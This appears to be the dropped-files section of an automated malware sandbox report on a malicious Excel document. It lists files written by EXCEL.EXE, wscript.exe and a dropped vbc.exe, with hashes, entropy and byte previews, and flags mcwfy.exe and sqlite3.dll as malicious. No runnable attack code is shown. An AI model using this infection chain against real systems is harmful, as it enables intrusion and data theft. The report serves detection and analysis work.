                                                                  Encrypted:false
                                                                  SSDEEP:6:0zfhlOslsDwE1vfk+kSYR3PhlXxv/lhPmcROwMR/C+7khvSGq48uxUo++:0zrOEhcCJtbhv/7eSpM/0hvei
                                                                  MD5:B144C5DC2697405C54706532478FB8F4
                                                                  SHA1:4A336DC89AB41EA549248BF17732255450D43FFB
                                                                  SHA-256:A56486C90A658CC2107998846EA20FA6ACC722EF80550916DF1A496544835CF7
                                                                  SHA-512:AF415AE8AEF2595D71BE8EE89BD59B94DA500CBA64FC7332E74A750A004002744CA3FB5C2CCE564CD0F3644C52BA0C79C726EC4104FEB33D3E81757EDD083C77
                                                                  Malicious:false
                                                                  Preview:....X...............a...............b... EMF....P.......................d...d...........F...8...,...EMF+.@..................`...`....@..............................................F...l...`...EMF+.@..$...................b...d............PNG........IHDR.......b......:s....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.........Om...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\333 (3).emf:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\87F4.tmp

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):1536
                                                                  Entropy (8bit):1.1464700112623651
                                                                  Encrypted:false
                                                                  SSDEEP:3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
                                                                  MD5:72F5C05B7EA8DD6059BF59F50B22DF33
                                                                  SHA1:D5AF52E129E15E3A34772806F6C5FBF132E7408E
                                                                  SHA-256:1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
                                                                  SHA-512:6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
                                                                  Malicious:false
                                                                  Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\HI4NJ046K

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\wscript.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 4, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 4
                                                                  Category:dropped
                                                                  Size (bytes):77824
                                                                  Entropy (8bit):1.1340767975888557
                                                                  Encrypted:false
                                                                  SSDEEP:96:rSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+H:OG8mZMDTJQb3OCaM0f6k81Vumi
                                                                  MD5:9A38AC1D3304A8EEFD9C54D4EADCCCD6
                                                                  SHA1:56E953B2827B37491BC80E3BFDBBF535F95EDFA7
                                                                  SHA-256:67960A6297477E9F2354B384ECFE698BEB2C1FA1F9168BEAC08D2E270CE3558C
                                                                  SHA-512:32281388C0DE6AA73FCFF0224450E45AE5FB970F5BA3E72DA1DE4E39F80BFC6FE1E27AAECC6C08165D2BF625DF57F3EE3FC1115BF1F4BA6DDE0EB4F69CD0C77D
                                                                  Malicious:false
                                                                  Preview:SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\README (2).txt

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):331
                                                                  Entropy (8bit):5.144482923353892
                                                                  Encrypted:false
                                                                  SSDEEP:6:q4RLRyLk3Lfk+KKUwnXNgLB099EVk3Lfkq+ZEQh+y6oaQ4VQCs:BjyL9RqX0Bc909/ZEoooT
                                                                  MD5:38DE85DA0193E7AB300FDAFF24432A5A
                                                                  SHA1:F9C50ABA2CE25AA7C18C140352EC5F083DB00B7F
                                                                  SHA-256:E59C5729C72A6AB02ED18F740E72AC44FFB71171FB49A9405F5C3D1F2F056782
                                                                  SHA-512:41E2626CD5C3B739369C5FC5FA46605415F1F8367AB117EF4C5D0FE3D62480121AB7825011F2DC6F4E18F0C29DE78E17769E6674045A1B09CB91E5BF52EF67BD
                                                                  Malicious:false
                                                                  Preview:Installation Steps for Trillium Security MultiSploit Tool v6.5.25:....1. Copy your personal "user_license.bin" File and paste it to the "TDS_LicenseFile" Folder...2. Now you can run "Trillium Security MultiSploit Tool v6.5.25.exe".....w5456z4thrfhtfht-kgjhfdghj5utej-76r8ttrerhteitje-mhgjkftdzsretztrz657UIGZUurg-UHIgdfhdgrrdg97654

                                                                  C:\Users\user\AppData\Local\Temp\README (2).txt:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\README (3).txt

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):331
                                                                  Entropy (8bit):5.144482923353892
                                                                  Encrypted:false
                                                                  SSDEEP:6:q4RLRyLk3Lfk+KKUwnXNgLB099EVk3Lfkq+ZEQh+y6oaQ4VQCs:BjyL9RqX0Bc909/ZEoooT
                                                                  MD5:38DE85DA0193E7AB300FDAFF24432A5A
                                                                  SHA1:F9C50ABA2CE25AA7C18C140352EC5F083DB00B7F
                                                                  SHA-256:E59C5729C72A6AB02ED18F740E72AC44FFB71171FB49A9405F5C3D1F2F056782
                                                                  SHA-512:41E2626CD5C3B739369C5FC5FA46605415F1F8367AB117EF4C5D0FE3D62480121AB7825011F2DC6F4E18F0C29DE78E17769E6674045A1B09CB91E5BF52EF67BD
                                                                  Malicious:false
                                                                  Preview:Installation Steps for Trillium Security MultiSploit Tool v6.5.25:....1. Copy your personal "user_license.bin" File and paste it to the "TDS_LicenseFile" Folder...2. Now you can run "Trillium Security MultiSploit Tool v6.5.25.exe".....w5456z4thrfhtfht-kgjhfdghj5utej-76r8ttrerhteitje-mhgjkftdzsretztrz657UIGZUurg-UHIgdfhdgrrdg97654

                                                                  C:\Users\user\AppData\Local\Temp\README (3).txt:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\mcwfy.exe

                                                                  Download File
                                                                  Process:C:\Users\Public\vbc.exe
                                                                  File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):95232
                                                                  Entropy (8bit):6.231519588351459
                                                                  Encrypted:false
                                                                  SSDEEP:1536:opZrDPCXLdr7zQN/GZGLaYeZjtBaKaedCRVLR8dpxekydJrD9iiU71aC4sWBlVmc:oHTCB7Y/GZGPeZxaGCRVLR9kydI7sCU5
                                                                  MD5:6CB712E482D150A185F713D75314A75A
                                                                  SHA1:0EE7D4AB0D46C6A668AA500470AAFB632F1ACD99
                                                                  SHA-256:C5E0F86A68DCBD03B9A506768F86C385C360D3CF67B9CC0B5760F7B3F1D91F48
                                                                  SHA-512:042C3B3A24C35686FA11FBF052A8F278C12535B5F90ECDE5319AA86B8F3616A9A00FBE5E86BD644E2101201B994648BCE2B1F6D6E1F4EDA6C8140F93421CD6E1
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.8-?.V~?.V~?.V~t.U.5.V~t.S...V~t.R.+.V~..S...V~..R...V~..U.,.V~t.W.(.V~?.W~@.V~..^.>.V~..T.>.V~Rich?.V~........................PE..L...2'.d...............!.....z....................@.........................................................................<k.......................................^...............................]..@............................................text............................... ..`.rdata...e.......f..................@..@.data...l............j..............@...........................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\nsl9C8E.tmp

                                                                  Download File
                                                                  Process:C:\Users\Public\vbc.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):329165
                                                                  Entropy (8bit):7.541945169368556
                                                                  Encrypted:false
                                                                  SSDEEP:6144:WVez7cuIYLUvLfkWAdTEkQUOM1sXFQveBUQZKQldIDMzCu/GZVZxML7L2+P:WKcsCftAdTEarq3BUQZKQfuMzCu/QZOS
                                                                  MD5:4ED3CB08EC2E744A786A87B5FEA1AA59
                                                                  SHA1:76A5A491D05D504A367C19F0E9669BAA474A8D12
                                                                  SHA-256:A3710AFDDF05886219EB7EBA3A85F0AD33EAC1BA6C4BB67F7B389C6CDA15875D
                                                                  SHA-512:EEA49222FD83CA261685EB282985906AF43B0020960961CA8141446E432D594BEC294EC2A76747D6B9F834ABCD3218CA5A014A769DBB7F3B8959360E8FD5ECDC
                                                                  Malicious:false
                                                                  Preview:.A......,........................-.......@.......A..............................................................................H...........................................................................................................................................................G...................j...............................................................................................................................I...........l...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\o0whqph.zip

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\wscript.exe
                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                  Category:dropped
                                                                  Size (bytes):441750
                                                                  Entropy (8bit):7.998736788620827
                                                                  Encrypted:true
                                                                  SSDEEP:12288:kNYTTUBeH/mxYhfbJQ0BHxK30XfNd+6NwY8Ta6A:SYTT6ULhTndxmibH8u6A
                                                                  MD5:FA9B7C190006303EECDDFFA019D0BE06
                                                                  SHA1:A97CEBC176B3DAA453189F2C0B7CF2A5A70F9C92
                                                                  SHA-256:DC7F8B3493543DC086CB43B66401893597F993408F18B437E5C8E8B5544DB0BF
                                                                  SHA-512:4C293EF052A14F7527AA42D451BA5F4CFDF7FB7203F583EDA34EF24F4A2FD13975553C432A9354A0F8C1DE924B0C29A819BD34C7AAA03B642372496A75BE0532
                                                                  Malicious:false
                                                                  Preview:PK........x.MJ0..#....c.......sqlite3.defUT.....X..Xux.........d.......&....6......9.$..\..nj....==O...F...4.O.........._...%..*..Il..MD....>.&Y.St.~.6(g.x..=......".=...|..`...[.....].Y.y$o.q..4k.L.u+...5'...@....S.......r.s..|}.Yo.U..M...nyP:...|..8......`9. ..._.<..P..."..s...........H.8.F..../.....H..[.Nk.q...,..T.s@U2.G.1GR8..S.".......L9N.....*?..S.R5....3..-s^m.|.Q..p....Ms2.&.a'_.x.'.t.8].{.lW.......&..Of..a..*......i.k.4.&^..5F_*..e..[..g.=.8.Cs2.qK.M>(.<.u...a)..V..%.)w......ct..."...Q...w..`r.0.3M."...9...M`.>!Z.#R;...........k:.[.l.....Bl..>@.a.....(T..b1/.4..Px.I.)+...KLz...B..6...G.>..K..Gbu.#..c.`,.B.y.]..........K{[A.....q..?..q6v^...of..V....];?#.v..I1=.m..R....]n.6.W..bv..]...'J.O....e3...@...E. 6..M..k..@.7.4.]@;.*..1.sq.P.v..MA/.....W!G..6....a.R<..XT5..U&........(.N.f#.7.ck..].b>8....(.Xq`..p;...Ljt.....t.lW......5O....3|}.=........8..o.......Fn.........Lp..As.&..i8)....n-......+"........q.....@.*...+...`....<.8..

                                                                  C:\Users\user\AppData\Local\Temp\ortnkgsjk.g

                                                                  Download File
                                                                  Process:C:\Users\Public\vbc.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):211209
                                                                  Entropy (8bit):7.998782052319318
                                                                  Encrypted:true
                                                                  SSDEEP:6144:7Vez7cuIYLUvLfkWAdTEkQUOM1sXFQveBUQZKQlu:7KcsCftAdTEarq3BUQZKQI
                                                                  MD5:0A629526F8AEC96658786151E6C3EA06
                                                                  SHA1:80B71B17469506F4023F5E3C35715A6A130AC4C5
                                                                  SHA-256:D61BEA82FCBA68CFBC5E6BBE882D5E373EAA26C0DD4AD9C5626EE13A780AB546
                                                                  SHA-512:848E3A46F2EAEF9656ADF2DAFE618C20BDDB19D98836F43065F219A58D14BEBB554A63B7844560CCF0EF2124F6D51AD2A6D71DA8AA0408EF639D6BB4FFF0A2F4
                                                                  Malicious:false
                                                                  Preview:...^.1s..E...g..0#YI.!.Dg.,$.K.......#>......i..^...&..X..|..,...\1....e.o.5.T`....;...>.Y..m.c.. ..X.}..mV_.6B]D...UQ.H.C......x..?y..`...`...*.8......K.z.x.o.;.}Z~]v.TO..........V.{...-.>i]..4-e......[m^Bx.N..T!.[.E..yVD.q......"$m..0g.y.^\.B-.U.`.1s...QH.....4.Y....;...-........@.#>....u.i..^.z.&..X.5|......\.,.,Mrc?4....w+..'~&lO..5C.Y.*...I...'.5.}a..8/~.UQ.H.C...U<..*m$.xT..eQ...H...^......j.w[m.H7..B..V.m......qW.:..{.8....(.}v........[.^~..,^..u.0.E..yVD......."....0....^\.B-.U.`.1s..QH......MY....;.....K.......#>......i..^...&..X.5|......\.,.,Mrc?4....w+..'~&lO..5C.Y.*...I...'.5.}a..8/~.UQ.H.C...U<..*m$.xT..eQ...H...^......j.w[m.H7..B..V.m..........V.{.d.-..(.}{6.......[.^~..,^.Tu.[.E..yVD......."....0....^\.B-.U.`.1s..QH......MY....;.....K.......#>......i..^...&..X.5|......\.,.,Mrc?4....w+..'~&lO..5C.Y.*...I...'.5.}a..8/~.UQ.H.C...U<..*m$.xT..eQ...H...^......j.w[m.H7..B..V.m..........V.{.d.-..(.}{6.......[.^~..,^.Tu.[.E..yVD.

                                                                  C:\Users\user\AppData\Local\Temp\sqlite3.def

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\wscript.exe
                                                                  File Type:ASCII text
                                                                  Category:dropped
                                                                  Size (bytes):4963
                                                                  Entropy (8bit):4.34930488328599
                                                                  Encrypted:false
                                                                  SSDEEP:96:GcuN4gR+7Oc0XRMcCM3KVGOF95BlMtvrmNHY0ac:E4Q+7Oc0JKVBF95EvrmNHcc
                                                                  MD5:DE71633DE073966EB5D5F787EAC989BB
                                                                  SHA1:DD110A7666977B763F1CB540745D928A02A3AACA
                                                                  SHA-256:C810A7589A228352269413CC503647DF82B4320B7C0B596A15D2842DAC7F843A
                                                                  SHA-512:D10211BCD304EDE9CBF9CAD26852BBCF1C7F96D7615527DFA9097D97B5B94ABC3A28607E667C77D7E564676A3085C8C993036ED1D48BFCC77566D9C09A4782BD
                                                                  Malicious:false
                                                                  Preview:EXPORTS.sqlite3_aggregate_context.sqlite3_aggregate_count.sqlite3_auto_extension.sqlite3_backup_finish.sqlite3_backup_init.sqlite3_backup_pagecount.sqlite3_backup_remaining.sqlite3_backup_step.sqlite3_bind_blob.sqlite3_bind_blob64.sqlite3_bind_double.sqlite3_bind_int.sqlite3_bind_int64.sqlite3_bind_null.sqlite3_bind_parameter_count.sqlite3_bind_parameter_index.sqlite3_bind_parameter_name.sqlite3_bind_text.sqlite3_bind_text16.sqlite3_bind_text64.sqlite3_bind_value.sqlite3_bind_zeroblob.sqlite3_bind_zeroblob64.sqlite3_blob_bytes.sqlite3_blob_close.sqlite3_blob_open.sqlite3_blob_read.sqlite3_blob_reopen.sqlite3_blob_write.sqlite3_busy_handler.sqlite3_busy_timeout.sqlite3_cancel_auto_extension.sqlite3_changes.sqlite3_clear_bindings.sqlite3_close.sqlite3_close_v2.sqlite3_collation_needed.sqlite3_collation_needed16.sqlite3_column_blob.sqlite3_column_bytes.sqlite3_column_bytes16.sqlite3_column_count.sqlite3_column_database_name.sqlite3_column_database_name16.sqlite3_column_decltype.sqlite3_co

                                                                  C:\Users\user\AppData\Local\Temp\sqlite3.dll

                                                                  Download File
                                                                  Process:C:\Windows\SysWOW64\wscript.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):845402
                                                                  Entropy (8bit):6.501857871491562
                                                                  Encrypted:false
                                                                  SSDEEP:24576:i+S+SW56QlzJx2IzvTrSo46oeUVCkBtW6w0n:iZW4QltYIzv3So46oeUzn
                                                                  MD5:00A91261929192A7FACC32A9F330029A
                                                                  SHA1:7DF4FFDF48A6DF0BAC21A82D6DB56AA11DB470DC
                                                                  SHA-256:C1DE8ECA6419634C5F6E0E8C6EF14D9B3DAA28FA28E8D1C4CE0175DBC310A77F
                                                                  SHA-512:18A178CA0E70FA6E8F04B4AE229CFD6EF0DF252E3FD85D09CF79F89E69ADA89E3479DB83227095A8C16325B1DC27C9EC0C782AF304F7CE0AFA78C2E25B49B01E
                                                                  Malicious:true
                                                                  Antivirus:
                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....X....V......!...............................a.......................................... .........................5............0..x....................@.. 0........................... .......................................................text...X...........................`.P`.data...|...........................@.`..rdata..T...........................@.`@.bss..................................`..edata..5...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc...x....0......................@.0..reloc.. 0...@...2..................@.0B/4..................................@.@B/19................................@..B/31..........0......................@..B/45..........P......................@..B/57..........p......................@.0B/70.....i...............

                                                                  C:\Users\user\AppData\Local\Temp\ytljtt.f

                                                                  Download File
                                                                  Process:C:\Users\Public\vbc.exe
                                                                  File Type:data
                                                                  Category:dropped
                                                                  Size (bytes):5854
                                                                  Entropy (8bit):7.162377453768944
                                                                  Encrypted:false
                                                                  SSDEEP:96:Farc6oY3g/DrYujk2XO5oSwYgCP7Yc3NdN6d35O4pTU15Fn9O2PGiMCmbvrfjXC:FarcRXrhX1S9PPN6d3ZpTU15EJLrLXC
                                                                  MD5:452A3EE71E9BA72BB78302A46C6D5B12
                                                                  SHA1:F86411F3F43C4351EF651B38A1402C63B90DB7AC
                                                                  SHA-256:521E94034E7166D401C6831BFEE91A92848BF821EAE75ADBD857F503C3D42BC2
                                                                  SHA-512:0BB5A96F91E37AB5B89A02C2B25D449C27D1A1E25EB42D461D4B52AE2FB067FDF288EF7F7A4C43955BD7A3A1B32CC514F1C4DD27DBFBB6FE6C7916763056DFD3
                                                                  Malicious:false
                                                                  Preview:.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1|..x.q.>.t&.u.|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..

                                                                  C:\Users\user\AppData\Local\Temp\yy (2).txt

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with very long lines (599), with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):3446
                                                                  Entropy (8bit):4.578411407233512
                                                                  Encrypted:false
                                                                  SSDEEP:96:k0mXWv0agGitiXOCPyXaqUH3V/W8b3+GFe4Qzl:k3aIJCO/K/bOGFe4y
                                                                  MD5:0CAB0C6F6888DE32D1EC8F600E3C1247
                                                                  SHA1:F612BA306D9E50FFC7BFE5AB2A995DA3F5EDB335
                                                                  SHA-256:970C719A58BC925CA596C9DDD7D4A3F2CEB6F6301AB06F556BAAB89307570816
                                                                  SHA-512:19BE3481380446B4E361AF55FCA9BC329173F01848432E82A002BEC0A40E19FF90F1E5D700EB6ABA647CD409AD7B985716F5C02B5DF72A8E0703F051FE82D7D4
                                                                  Malicious:false
                                                                  Preview:I just disabled SPy Option if you wish you can activate later if I am disconnected again but this option collect whole time all infos and interests of you , which programs you use, which websites you visit etc and send to microsoft and others for investigation did you knew ? i not know that. thank u bro np later if I am disconnected i recommend you go through this whole menu and disable things that all are only options which collected data from you / spy you if you want to be more anonym and secure you should disable can u do that for me are you using webcam on this systme ? no micro ?no done....btw do you have hf website here ? I mean can you open yaa oh 1 thin can I delete the PM about the spritual things because all get watched its better to delete yaa do you know how I can see all my posted threads ? i not getting idea now np 1 sec i try something because I want show you important thing for deactivate spy on win 10 okay now much spy options disabled if you want disable more you can

                                                                  C:\Users\user\AppData\Local\Temp\yy (2).txt:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\yy.txt

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with very long lines (599), with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):3446
                                                                  Entropy (8bit):4.578411407233512
                                                                  Encrypted:false
                                                                  SSDEEP:96:k0mXWv0agGitiXOCPyXaqUH3V/W8b3+GFe4Qzl:k3aIJCO/K/bOGFe4y
                                                                  MD5:0CAB0C6F6888DE32D1EC8F600E3C1247
                                                                  SHA1:F612BA306D9E50FFC7BFE5AB2A995DA3F5EDB335
                                                                  SHA-256:970C719A58BC925CA596C9DDD7D4A3F2CEB6F6301AB06F556BAAB89307570816
                                                                  SHA-512:19BE3481380446B4E361AF55FCA9BC329173F01848432E82A002BEC0A40E19FF90F1E5D700EB6ABA647CD409AD7B985716F5C02B5DF72A8E0703F051FE82D7D4
                                                                  Malicious:false
                                                                  Preview:I just disabled SPy Option if you wish you can activate later if I am disconnected again but this option collect whole time all infos and interests of you , which programs you use, which websites you visit etc and send to microsoft and others for investigation did you knew ? i not know that. thank u bro np later if I am disconnected i recommend you go through this whole menu and disable things that all are only options which collected data from you / spy you if you want to be more anonym and secure you should disable can u do that for me are you using webcam on this systme ? no micro ?no done....btw do you have hf website here ? I mean can you open yaa oh 1 thin can I delete the PM about the spritual things because all get watched its better to delete yaa do you know how I can see all my posted threads ? i not getting idea now np 1 sec i try something because I want show you important thing for deactivate spy on win 10 okay now much spy options disabled if you want disable more you can

                                                                  C:\Users\user\AppData\Local\Temp\yy.txt:Zone.Identifier

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:ASCII text, with CRLF line terminators
                                                                  Category:dropped
                                                                  Size (bytes):26
                                                                  Entropy (8bit):3.95006375643621
                                                                  Encrypted:false
                                                                  SSDEEP:3:gAWY3n:qY3n
                                                                  MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                                                                  SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                                                                  SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                                                                  SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                                                                  Malicious:false
                                                                  Preview:[ZoneTransfer]..ZoneId=3..

                                                                  C:\Users\user\AppData\Local\Temp\~DF105CE6962F655752.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.577653575035039
                                                                  Encrypted:false
                                                                  SSDEEP:768:eT5BP++exJQohHN2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhGHugk:eTPW+eTQaHN2uWuEq8TFBx2ZZwYCcUmm
                                                                  MD5:B6D766BDD546E92E549F8D1BA1C709D0
                                                                  SHA1:1C60C62B8D7419D25BAC3A72F98CE9F8312DC48F
                                                                  SHA-256:6E117BA8FCE0C5273BA74A4F70CB6ACEA970693EAED28534F6E738A169D607E1
                                                                  SHA-512:44737F3FB62F53484D3A414DD8F5AE6428A643C6CA416319EA0AB36D9C0CC2B528C403241E8A18564EA3AEEB762A4E5D421108D4C30FBE95F51F1610F0A856BB
                                                                  Malicious:false
                                                                  Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...............................................................................................................................

                                                                  C:\Users\user\AppData\Local\Temp\~DF2613BCA6826298A5.TMP

                                                                  Download File
                                                                  Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                  Category:dropped
                                                                  Size (bytes):47616
                                                                  Entropy (8bit):7.582513260576488
                                                                  Encrypted:false
                                                                  SSDEEP:768:pTktBP++exJwu+N2WVFWbSFhEq8TFBxwd3ZZw9mCcUXiP4ymDiFLIhQugk:pTkbW+eTwu+N2uWuEq8TFBx2ZZwYCcU7
                                                                  MD5:EB0EF657151A2795DFA4C524991EA55E
                                                                  SHA1:FA6D824C5B167ED0A6BE8889D0EE73B6CE4F91B7
                                                                  SHA-256:535E0C0B7C1416B3FA680A963E11498B43E9B0D235814972EE132C18FFE653C2
                                                                  SHA-512:7FA6F721F5D2F71DFC4A689AAD0FFB173B1D54EED764A8B4527C003DBC9DA09A57967CD499C12D7A78D4401C05560DDBAAE3DA0D1AAC7548453903C6458972A2
                                                                  Malicious:false
